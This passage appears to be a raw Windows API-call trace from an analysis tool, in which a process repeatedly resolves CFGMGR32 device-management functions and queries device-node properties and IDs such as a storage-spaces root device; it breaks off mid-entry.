[0186.611] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0186.611] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0186.611] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0186.611] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0186.611] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0186.611] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0186.611] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0186.612] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0186.612] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0186.612] malloc (_Size=0x18) returned 0x196ef0d1a60 [0186.612] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1d, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0186.612] malloc (_Size=0x48) returned 0x196ef0fc120 [0186.612] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5015cd9e, dwHighDateTime=0x1d9eb0c)) [0186.612] SetEvent (hEvent=0x248) returned 1 [0186.630] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0186.630] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0186.631] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0186.632] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0186.632] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0186.633] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0186.633] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0186.634] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0186.634] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0186.635] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0186.635] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0186.636] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0186.636] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0186.637] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0186.637] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0186.638] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0186.638] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0186.639] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0186.639] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0186.640] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0186.640] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0186.641] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0186.641] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0186.642] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0186.642] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1d, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0186.644] malloc (_Size=0x48) returned 0x196ef0fc120 [0186.644] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x501a3ba4, dwHighDateTime=0x1d9eb0c)) [0186.644] SetEvent (hEvent=0x248) returned 1 [0186.774] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0186.774] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0186.774] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0186.774] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0186.774] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0186.774] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0186.774] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0186.775] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0186.775] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0186.775] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0186.775] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0186.775] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0186.775] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0186.775] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0186.775] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0186.776] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0186.776] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0186.776] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0186.776] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0186.776] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0186.776] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0186.776] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0186.777] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0186.777] malloc (_Size=0x18) returned 0x196ef0d1e60 [0186.777] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1d, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0186.777] malloc (_Size=0x48) returned 0x196ef0fb720 [0186.777] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x502fb193, dwHighDateTime=0x1d9eb0c)) [0186.777] SetEvent (hEvent=0x248) returned 1 [0186.781] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0186.781] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0186.782] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0186.782] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0186.782] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0186.782] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0186.782] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0186.782] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0186.782] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0186.782] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0186.783] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0186.783] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0186.783] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0186.783] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0186.783] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0186.783] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0186.783] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0186.783] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0186.783] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0186.783] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0186.784] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0186.784] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0186.784] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0186.784] malloc (_Size=0x18) returned 0x196ef0d1d60 [0186.784] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1d, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0186.786] malloc (_Size=0x48) returned 0x196ef0fbf40 [0186.786] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x502fb193, dwHighDateTime=0x1d9eb0c)) [0186.786] SetEvent (hEvent=0x248) returned 1 [0186.789] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0186.789] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0186.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0186.790] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0186.790] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0186.790] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0186.790] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0186.790] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0186.790] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0186.791] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0186.791] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0186.791] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0186.791] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0186.791] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0186.791] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0186.791] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0186.792] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0186.792] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0186.792] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0186.792] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0186.792] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0186.792] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0186.793] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0186.793] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0186.793] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x1d, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0186.793] malloc (_Size=0x48) returned 0x196ef0fba40 [0186.793] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x50321603, dwHighDateTime=0x1d9eb0c)) [0186.793] SetEvent (hEvent=0x248) returned 1 [0186.797] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0186.797] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0186.797] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0186.797] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0186.797] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0186.798] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0186.798] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0186.798] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0186.798] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0186.798] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0186.798] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0186.798] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0186.798] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0186.798] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0186.799] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0186.799] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0186.799] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0186.799] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0186.799] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0186.799] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0186.799] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0186.799] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0186.799] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0186.800] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0186.800] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x1d, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0186.800] malloc (_Size=0x48) returned 0x196ef0fb590 [0186.800] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x50321603, dwHighDateTime=0x1d9eb0c)) [0186.800] SetEvent (hEvent=0x248) returned 1 [0186.803] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0186.803] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0186.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0186.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0186.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0186.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0186.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0186.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0186.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0186.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0186.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0186.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0186.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0186.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0186.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0186.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0186.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0186.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0186.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0186.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0186.806] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0186.806] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0186.806] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0186.806] malloc (_Size=0x18) returned 0x196ef0d1d00 [0186.806] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1d, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0186.806] malloc (_Size=0x48) returned 0x196ef0fc120 [0186.806] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x50321603, dwHighDateTime=0x1d9eb0c)) [0186.806] SetEvent (hEvent=0x248) returned 1 [0186.810] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0186.810] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0186.810] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0186.811] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0186.811] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0186.811] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0186.811] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0186.811] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0186.811] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0186.811] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0186.811] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0186.811] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0186.812] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0186.812] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0186.812] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0186.812] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0186.812] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0186.812] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0186.812] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0186.812] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0186.812] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0186.812] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0186.813] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0186.813] malloc (_Size=0x18) returned 0x196ef0d1e00 [0186.813] CM_Get_Device_IDA (in: dnDevInst=0x1e, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\SPACEPORT\\0000") returned 0x0 [0186.813] malloc (_Size=0x48) returned 0x196ef0fbfe0 [0186.813] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x50348118, dwHighDateTime=0x1d9eb0c)) [0186.813] SetEvent (hEvent=0x248) returned 1 [0186.816] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0186.816] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0186.816] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0186.816] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0186.816] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0186.817] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0186.817] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0186.817] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0186.817] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0186.817] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0186.817] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0186.817] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0186.817] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0186.818] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0186.818] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0186.818] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0186.818] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0186.818] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0186.818] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0186.818] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0186.818] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0186.819] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0186.819] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0186.819] malloc (_Size=0x18) returned 0x196ef0d1f00 [0186.819] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1e, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0186.819] malloc (_Size=0x20) returned 